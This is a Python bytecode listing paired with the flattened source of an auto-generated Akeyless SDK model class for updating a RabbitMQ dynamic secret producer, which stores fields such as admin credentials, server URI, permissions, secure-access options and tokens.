rabbitmq_user_tags LOAD_FAST self STORE_ATTR rabbitmq_user_tags LOAD_FAST rabbitmq_user_vhost LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rabbitmq_user_vhost LOAD_FAST self STORE_ATTR rabbitmq_user_vhost LOAD_FAST rabbitmq_user_write_permission LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rabbitmq_user_write_permission LOAD_FAST self STORE_ATTR rabbitmq_user_write_permission LOAD_FAST secure_access_enable LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_enable LOAD_FAST self STORE_ATTR secure_access_enable LOAD_FAST secure_access_url LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_url LOAD_FAST self STORE_ATTR secure_access_url LOAD_FAST secure_access_web LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_web LOAD_FAST self STORE_ATTR secure_access_web LOAD_FAST secure_access_web_browsing LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_web_browsing LOAD_FAST self STORE_ATTR secure_access_web_browsing LOAD_FAST secure_access_web_proxy LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST secure_access_web_proxy LOAD_FAST self STORE_ATTR secure_access_web_proxy LOAD_FAST tags LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST tags LOAD_FAST self STORE_ATTR tags LOAD_FAST target_name LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST target_name LOAD_FAST self STORE_ATTR target_name LOAD_FAST token LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST token LOAD_FAST self STORE_ATTR token LOAD_FAST uid_token LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST uid_token LOAD_FAST self STORE_ATTR uid_token LOAD_FAST user_ttl LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST user_ttl LOAD_FAST self STORE_ATTR user_ttl LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete_protection RETURN_VALUE LOAD_FAST delete_protection LOAD_FAST self STORE_ATTR _delete_protection LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _json RETURN_VALUE LOAD_FAST json LOAD_FAST self STORE_ATTR _json LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _name RETURN_VALUE LOAD_FAST self LOAD_ATTR local_vars_configuration LOAD_ATTR client_side_validation POP_JUMP_IF_FALSE LOAD_FAST name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Invalid value for `name`, must not be `None`' CALL_FUNCTION RAISE_VARARGS LOAD_FAST name LOAD_FAST self STORE_ATTR _name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _new_name RETURN_VALUE LOAD_FAST new_name LOAD_FAST self STORE_ATTR _new_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _producer_encryption_key_name RETURN_VALUE LOAD_FAST producer_encryption_key_name LOAD_FAST self STORE_ATTR _producer_encryption_key_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_admin_pwd RETURN_VALUE LOAD_FAST rabbitmq_admin_pwd LOAD_FAST self STORE_ATTR _rabbitmq_admin_pwd LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_admin_user RETURN_VALUE LOAD_FAST rabbitmq_admin_user LOAD_FAST self STORE_ATTR _rabbitmq_admin_user LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_server_uri RETURN_VALUE LOAD_FAST rabbitmq_server_uri LOAD_FAST self STORE_ATTR _rabbitmq_server_uri LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_user_conf_permission RETURN_VALUE LOAD_FAST rabbitmq_user_conf_permission LOAD_FAST self STORE_ATTR _rabbitmq_user_conf_permission LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_user_read_permission RETURN_VALUE LOAD_FAST rabbitmq_user_read_permission LOAD_FAST self STORE_ATTR _rabbitmq_user_read_permission LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_user_tags RETURN_VALUE LOAD_FAST rabbitmq_user_tags LOAD_FAST self STORE_ATTR _rabbitmq_user_tags LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_user_vhost RETURN_VALUE LOAD_FAST rabbitmq_user_vhost LOAD_FAST self STORE_ATTR _rabbitmq_user_vhost LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rabbitmq_user_write_permission RETURN_VALUE LOAD_FAST rabbitmq_user_write_permission LOAD_FAST self STORE_ATTR _rabbitmq_user_write_permission LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_enable RETURN_VALUE LOAD_FAST secure_access_enable LOAD_FAST self STORE_ATTR _secure_access_enable LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_url RETURN_VALUE LOAD_FAST secure_access_url LOAD_FAST self STORE_ATTR _secure_access_url LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_web RETURN_VALUE LOAD_FAST secure_access_web LOAD_FAST self STORE_ATTR _secure_access_web LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_web_browsing RETURN_VALUE LOAD_FAST secure_access_web_browsing LOAD_FAST self STORE_ATTR _secure_access_web_browsing LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _secure_access_web_proxy RETURN_VALUE LOAD_FAST secure_access_web_proxy LOAD_FAST self STORE_ATTR _secure_access_web_proxy LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _tags RETURN_VALUE LOAD_FAST tags LOAD_FAST self STORE_ATTR _tags LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _target_name RETURN_VALUE LOAD_FAST target_name LOAD_FAST self STORE_ATTR _target_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _token RETURN_VALUE LOAD_FAST token LOAD_FAST self STORE_ATTR _token LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _uid_token RETURN_VALUE LOAD_FAST uid_token LOAD_FAST self STORE_ATTR _uid_token LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _user_ttl RETURN_VALUE LOAD_FAST user_ttl LOAD_FAST self STORE_ATTR _user_ttl LOAD_CONST None RETURN_VALUE BUILD_MAP STORE_FAST result SETUP_LOOP to 144 LOAD_GLOBAL six LOAD_METHOD iteritems LOAD_FAST self LOAD_ATTR openapi_types CALL_METHOD GET_ITER FOR_ITER to 142 UNPACK_SEQUENCE STORE_FAST attr STORE_FAST _ LOAD_GLOBAL getattr LOAD_FAST self LOAD_FAST attr CALL_FUNCTION STORE_FAST value LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL list LOAD_GLOBAL map LOAD_CONST <code object <lambda> at 0x7fab41686930, file "f.py", line 732> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.to_dict.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST value CALL_FUNCTION CALL_FUNCTION LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL hasattr LOAD_FAST value LOAD_CONST 'to_dict' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_METHOD to_dict CALL_METHOD LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL dict LOAD_GLOBAL map LOAD_CONST <code object <lambda> at 0x7fab41686d20, file "f.py", line 739> LOAD_CONST 'GatewayUpdateProducerRabbitMQ.to_dict.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST value LOAD_METHOD items CALL_METHOD CALL_FUNCTION CALL_FUNCTION LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE LOAD_FAST value LOAD_FAST result LOAD_FAST attr STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_GLOBAL hasattr LOAD_FAST x LOAD_CONST 'to_dict' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST x LOAD_METHOD to_dict CALL_METHOD RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_GLOBAL hasattr LOAD_FAST item LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'to_dict' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST item LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST item LOAD_CONST 1 BINARY_SUBSCR LOAD_METHOD to_dict CALL_METHOD BUILD_TUPLE RETURN_VALUE LOAD_FAST item RETURN_VALUE LOAD_GLOBAL pprint LOAD_METHOD pformat LOAD_FAST self LOAD_METHOD to_dict CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD to_str CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST other LOAD_GLOBAL GatewayUpdateProducerRabbitMQ CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST False RETURN_VALUE LOAD_FAST self LOAD_METHOD to_dict CALL_METHOD LOAD_FAST other LOAD_METHOD to_dict CALL_METHOD COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST other LOAD_GLOBAL GatewayUpdateProducerRabbitMQ CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD to_dict CALL_METHOD LOAD_FAST other LOAD_METHOD to_dict CALL_METHOD COMPARE_OP != RETURN_VALUE
""" Akeyless API The purpose of this application is to provide access to Akeyless API. # noqa: E501 The version of the OpenAPI document: 2.0 Contact: [email protected] Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from akeyless.configuration import Configuration class GatewayUpdateProducerRabbitMQ(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { "delete_protection": "str", "json": "bool", "name": "str", "new_name": "str", "producer_encryption_key_name": "str", "rabbitmq_admin_pwd": "str", "rabbitmq_admin_user": "str", "rabbitmq_server_uri": "str", "rabbitmq_user_conf_permission": "str", "rabbitmq_user_read_permission": "str", "rabbitmq_user_tags": "str", "rabbitmq_user_vhost": "str", "rabbitmq_user_write_permission": "str", "secure_access_enable": "str", "secure_access_url": "str", "secure_access_web": "bool", "secure_access_web_browsing": "bool", "secure_access_web_proxy": "bool", "tags": "list[str]", "target_name": "str", "token": "str", "uid_token": "str", "user_ttl": "str", } attribute_map = { "delete_protection": "delete_protection", "json": "json", "name": "name", "new_name": "new-name", "producer_encryption_key_name": "producer-encryption-key-name", "rabbitmq_admin_pwd": "rabbitmq-admin-pwd", "rabbitmq_admin_user": "rabbitmq-admin-user", "rabbitmq_server_uri": "rabbitmq-server-uri", "rabbitmq_user_conf_permission": "rabbitmq-user-conf-permission", "rabbitmq_user_read_permission": "rabbitmq-user-read-permission", "rabbitmq_user_tags": "rabbitmq-user-tags", "rabbitmq_user_vhost": "rabbitmq-user-vhost", "rabbitmq_user_write_permission": "rabbitmq-user-write-permission", "secure_access_enable": "secure-access-enable", "secure_access_url": "secure-access-url", "secure_access_web": "secure-access-web", "secure_access_web_browsing": "secure-access-web-browsing", "secure_access_web_proxy": "secure-access-web-proxy", "tags": "tags", "target_name": "target-name", "token": "token", "uid_token": "uid-token", "user_ttl": "user-ttl", } def __init__( self, delete_protection=None, json=False, name=None, new_name=None, producer_encryption_key_name=None, rabbitmq_admin_pwd=None, rabbitmq_admin_user=None, rabbitmq_server_uri=None, rabbitmq_user_conf_permission=None, rabbitmq_user_read_permission=None, rabbitmq_user_tags=None, rabbitmq_user_vhost=None, rabbitmq_user_write_permission=None, secure_access_enable=None, secure_access_url=None, secure_access_web=True, secure_access_web_browsing=False, secure_access_web_proxy=False, tags=None, target_name=None, token=None, uid_token=None, user_ttl="60m", local_vars_configuration=None, ): # noqa: E501 """GatewayUpdateProducerRabbitMQ - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._delete_protection = None self._json = None self._name = None self._new_name = None self._producer_encryption_key_name = None self._rabbitmq_admin_pwd = None self._rabbitmq_admin_user = None self._rabbitmq_server_uri = None self._rabbitmq_user_conf_permission = None self._rabbitmq_user_read_permission = None self._rabbitmq_user_tags = None self._rabbitmq_user_vhost = None self._rabbitmq_user_write_permission = None self._secure_access_enable = None self._secure_access_url = None self._secure_access_web = None self._secure_access_web_browsing = None self._secure_access_web_proxy = None self._tags = None self._target_name = None self._token = None self._uid_token = None self._user_ttl = None self.discriminator = None if delete_protection is not None: self.delete_protection = delete_protection if json is not None: self.json = json self.name = name if new_name is not None: self.new_name = new_name if producer_encryption_key_name is not None: self.producer_encryption_key_name = producer_encryption_key_name if rabbitmq_admin_pwd is not None: self.rabbitmq_admin_pwd = rabbitmq_admin_pwd if rabbitmq_admin_user is not None: self.rabbitmq_admin_user = rabbitmq_admin_user if rabbitmq_server_uri is not None: self.rabbitmq_server_uri = rabbitmq_server_uri if rabbitmq_user_conf_permission is not None: self.rabbitmq_user_conf_permission = rabbitmq_user_conf_permission if rabbitmq_user_read_permission is not None: self.rabbitmq_user_read_permission = rabbitmq_user_read_permission if rabbitmq_user_tags is not None: self.rabbitmq_user_tags = rabbitmq_user_tags if rabbitmq_user_vhost is not None: self.rabbitmq_user_vhost = rabbitmq_user_vhost if rabbitmq_user_write_permission is not None: self.rabbitmq_user_write_permission = rabbitmq_user_write_permission if secure_access_enable is not None: self.secure_access_enable = secure_access_enable if secure_access_url is not None: self.secure_access_url = secure_access_url if secure_access_web is not None: self.secure_access_web = secure_access_web if secure_access_web_browsing is not None: self.secure_access_web_browsing = secure_access_web_browsing if secure_access_web_proxy is not None: self.secure_access_web_proxy = secure_access_web_proxy if tags is not None: self.tags = tags if target_name is not None: self.target_name = target_name if token is not None: self.token = token if uid_token is not None: self.uid_token = uid_token if user_ttl is not None: self.user_ttl = user_ttl @property def delete_protection(self): """Gets the delete_protection of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Protection from accidental deletion of this item [true/false] # noqa: E501 :return: The delete_protection of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._delete_protection @delete_protection.setter def delete_protection(self, delete_protection): """Sets the delete_protection of this GatewayUpdateProducerRabbitMQ. Protection from accidental deletion of this item [true/false] # noqa: E501 :param delete_protection: The delete_protection of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._delete_protection = delete_protection @property def json(self): """Gets the json of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Set output format to JSON # noqa: E501 :return: The json of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: bool """ return self._json @json.setter def json(self, json): """Sets the json of this GatewayUpdateProducerRabbitMQ. Set output format to JSON # noqa: E501 :param json: The json of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: bool """ self._json = json @property def name(self): """Gets the name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Producer name # noqa: E501 :return: The name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this GatewayUpdateProducerRabbitMQ. Producer name # noqa: E501 :param name: The name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ if ( self.local_vars_configuration.client_side_validation and name is None ): # noqa: E501 raise ValueError( "Invalid value for `name`, must not be `None`" ) # noqa: E501 self._name = name @property def new_name(self): """Gets the new_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Producer name # noqa: E501 :return: The new_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._new_name @new_name.setter def new_name(self, new_name): """Sets the new_name of this GatewayUpdateProducerRabbitMQ. Producer name # noqa: E501 :param new_name: The new_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._new_name = new_name @property def producer_encryption_key_name(self): """Gets the producer_encryption_key_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Dynamic producer encryption key # noqa: E501 :return: The producer_encryption_key_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._producer_encryption_key_name @producer_encryption_key_name.setter def producer_encryption_key_name(self, producer_encryption_key_name): """Sets the producer_encryption_key_name of this GatewayUpdateProducerRabbitMQ. Dynamic producer encryption key # noqa: E501 :param producer_encryption_key_name: The producer_encryption_key_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._producer_encryption_key_name = producer_encryption_key_name @property def rabbitmq_admin_pwd(self): """Gets the rabbitmq_admin_pwd of this GatewayUpdateProducerRabbitMQ. # noqa: E501 RabbitMQ Admin password # noqa: E501 :return: The rabbitmq_admin_pwd of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_admin_pwd @rabbitmq_admin_pwd.setter def rabbitmq_admin_pwd(self, rabbitmq_admin_pwd): """Sets the rabbitmq_admin_pwd of this GatewayUpdateProducerRabbitMQ. RabbitMQ Admin password # noqa: E501 :param rabbitmq_admin_pwd: The rabbitmq_admin_pwd of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_admin_pwd = rabbitmq_admin_pwd @property def rabbitmq_admin_user(self): """Gets the rabbitmq_admin_user of this GatewayUpdateProducerRabbitMQ. # noqa: E501 RabbitMQ Admin User # noqa: E501 :return: The rabbitmq_admin_user of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_admin_user @rabbitmq_admin_user.setter def rabbitmq_admin_user(self, rabbitmq_admin_user): """Sets the rabbitmq_admin_user of this GatewayUpdateProducerRabbitMQ. RabbitMQ Admin User # noqa: E501 :param rabbitmq_admin_user: The rabbitmq_admin_user of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_admin_user = rabbitmq_admin_user @property def rabbitmq_server_uri(self): """Gets the rabbitmq_server_uri of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Server URI # noqa: E501 :return: The rabbitmq_server_uri of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_server_uri @rabbitmq_server_uri.setter def rabbitmq_server_uri(self, rabbitmq_server_uri): """Sets the rabbitmq_server_uri of this GatewayUpdateProducerRabbitMQ. Server URI # noqa: E501 :param rabbitmq_server_uri: The rabbitmq_server_uri of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_server_uri = rabbitmq_server_uri @property def rabbitmq_user_conf_permission(self): """Gets the rabbitmq_user_conf_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 User configuration permission # noqa: E501 :return: The rabbitmq_user_conf_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_user_conf_permission @rabbitmq_user_conf_permission.setter def rabbitmq_user_conf_permission(self, rabbitmq_user_conf_permission): """Sets the rabbitmq_user_conf_permission of this GatewayUpdateProducerRabbitMQ. User configuration permission # noqa: E501 :param rabbitmq_user_conf_permission: The rabbitmq_user_conf_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_user_conf_permission = rabbitmq_user_conf_permission @property def rabbitmq_user_read_permission(self): """Gets the rabbitmq_user_read_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 User read permission # noqa: E501 :return: The rabbitmq_user_read_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_user_read_permission @rabbitmq_user_read_permission.setter def rabbitmq_user_read_permission(self, rabbitmq_user_read_permission): """Sets the rabbitmq_user_read_permission of this GatewayUpdateProducerRabbitMQ. User read permission # noqa: E501 :param rabbitmq_user_read_permission: The rabbitmq_user_read_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_user_read_permission = rabbitmq_user_read_permission @property def rabbitmq_user_tags(self): """Gets the rabbitmq_user_tags of this GatewayUpdateProducerRabbitMQ. # noqa: E501 User Tags # noqa: E501 :return: The rabbitmq_user_tags of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_user_tags @rabbitmq_user_tags.setter def rabbitmq_user_tags(self, rabbitmq_user_tags): """Sets the rabbitmq_user_tags of this GatewayUpdateProducerRabbitMQ. User Tags # noqa: E501 :param rabbitmq_user_tags: The rabbitmq_user_tags of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_user_tags = rabbitmq_user_tags @property def rabbitmq_user_vhost(self): """Gets the rabbitmq_user_vhost of this GatewayUpdateProducerRabbitMQ. # noqa: E501 User Virtual Host # noqa: E501 :return: The rabbitmq_user_vhost of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_user_vhost @rabbitmq_user_vhost.setter def rabbitmq_user_vhost(self, rabbitmq_user_vhost): """Sets the rabbitmq_user_vhost of this GatewayUpdateProducerRabbitMQ. User Virtual Host # noqa: E501 :param rabbitmq_user_vhost: The rabbitmq_user_vhost of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_user_vhost = rabbitmq_user_vhost @property def rabbitmq_user_write_permission(self): """Gets the rabbitmq_user_write_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 User write permission # noqa: E501 :return: The rabbitmq_user_write_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._rabbitmq_user_write_permission @rabbitmq_user_write_permission.setter def rabbitmq_user_write_permission(self, rabbitmq_user_write_permission): """Sets the rabbitmq_user_write_permission of this GatewayUpdateProducerRabbitMQ. User write permission # noqa: E501 :param rabbitmq_user_write_permission: The rabbitmq_user_write_permission of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._rabbitmq_user_write_permission = rabbitmq_user_write_permission @property def secure_access_enable(self): """Gets the secure_access_enable of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Enable/Disable secure remote access [true/false] # noqa: E501 :return: The secure_access_enable of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._secure_access_enable @secure_access_enable.setter def secure_access_enable(self, secure_access_enable): """Sets the secure_access_enable of this GatewayUpdateProducerRabbitMQ. Enable/Disable secure remote access [true/false] # noqa: E501 :param secure_access_enable: The secure_access_enable of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._secure_access_enable = secure_access_enable @property def secure_access_url(self): """Gets the secure_access_url of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Destination URL to inject secrets # noqa: E501 :return: The secure_access_url of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._secure_access_url @secure_access_url.setter def secure_access_url(self, secure_access_url): """Sets the secure_access_url of this GatewayUpdateProducerRabbitMQ. Destination URL to inject secrets # noqa: E501 :param secure_access_url: The secure_access_url of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._secure_access_url = secure_access_url @property def secure_access_web(self): """Gets the secure_access_web of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Enable Web Secure Remote Access # noqa: E501 :return: The secure_access_web of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: bool """ return self._secure_access_web @secure_access_web.setter def secure_access_web(self, secure_access_web): """Sets the secure_access_web of this GatewayUpdateProducerRabbitMQ. Enable Web Secure Remote Access # noqa: E501 :param secure_access_web: The secure_access_web of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: bool """ self._secure_access_web = secure_access_web @property def secure_access_web_browsing(self): """Gets the secure_access_web_browsing of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Secure browser via Akeyless Web Access Bastion # noqa: E501 :return: The secure_access_web_browsing of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: bool """ return self._secure_access_web_browsing @secure_access_web_browsing.setter def secure_access_web_browsing(self, secure_access_web_browsing): """Sets the secure_access_web_browsing of this GatewayUpdateProducerRabbitMQ. Secure browser via Akeyless Web Access Bastion # noqa: E501 :param secure_access_web_browsing: The secure_access_web_browsing of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: bool """ self._secure_access_web_browsing = secure_access_web_browsing @property def secure_access_web_proxy(self): """Gets the secure_access_web_proxy of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Web-Proxy via Akeyless Web Access Bastion # noqa: E501 :return: The secure_access_web_proxy of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: bool """ return self._secure_access_web_proxy @secure_access_web_proxy.setter def secure_access_web_proxy(self, secure_access_web_proxy): """Sets the secure_access_web_proxy of this GatewayUpdateProducerRabbitMQ. Web-Proxy via Akeyless Web Access Bastion # noqa: E501 :param secure_access_web_proxy: The secure_access_web_proxy of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: bool """ self._secure_access_web_proxy = secure_access_web_proxy @property def tags(self): """Gets the tags of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Add tags attached to this object # noqa: E501 :return: The tags of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: list[str] """ return self._tags @tags.setter def tags(self, tags): """Sets the tags of this GatewayUpdateProducerRabbitMQ. Add tags attached to this object # noqa: E501 :param tags: The tags of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: list[str] """ self._tags = tags @property def target_name(self): """Gets the target_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Target name # noqa: E501 :return: The target_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._target_name @target_name.setter def target_name(self, target_name): """Sets the target_name of this GatewayUpdateProducerRabbitMQ. Target name # noqa: E501 :param target_name: The target_name of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._target_name = target_name @property def token(self): """Gets the token of this GatewayUpdateProducerRabbitMQ. # noqa: E501 Authentication token (see `/auth` and `/configure`) # noqa: E501 :return: The token of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._token @token.setter def token(self, token): """Sets the token of this GatewayUpdateProducerRabbitMQ. Authentication token (see `/auth` and `/configure`) # noqa: E501 :param token: The token of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._token = token @property def uid_token(self): """Gets the uid_token of this GatewayUpdateProducerRabbitMQ. # noqa: E501 The universal identity token, Required only for universal_identity authentication # noqa: E501 :return: The uid_token of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._uid_token @uid_token.setter def uid_token(self, uid_token): """Sets the uid_token of this GatewayUpdateProducerRabbitMQ. The universal identity token, Required only for universal_identity authentication # noqa: E501 :param uid_token: The uid_token of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._uid_token = uid_token @property def user_ttl(self): """Gets the user_ttl of this GatewayUpdateProducerRabbitMQ. # noqa: E501 User TTL # noqa: E501 :return: The user_ttl of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :rtype: str """ return self._user_ttl @user_ttl.setter def user_ttl(self, user_ttl): """Sets the user_ttl of this GatewayUpdateProducerRabbitMQ. User TTL # noqa: E501 :param user_ttl: The user_ttl of this GatewayUpdateProducerRabbitMQ. # noqa: E501 :type: str """ self._user_ttl = user_ttl def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list( map(lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value) ) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict( map( lambda item: ( (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item ), value.items(), ) ) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, GatewayUpdateProducerRabbitMQ): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, GatewayUpdateProducerRabbitMQ): return True return self.to_dict() != other.to_dict()
data/akeyless-3.6.1/akeyless/models/gateway_update_producer_rabbit_mq.py
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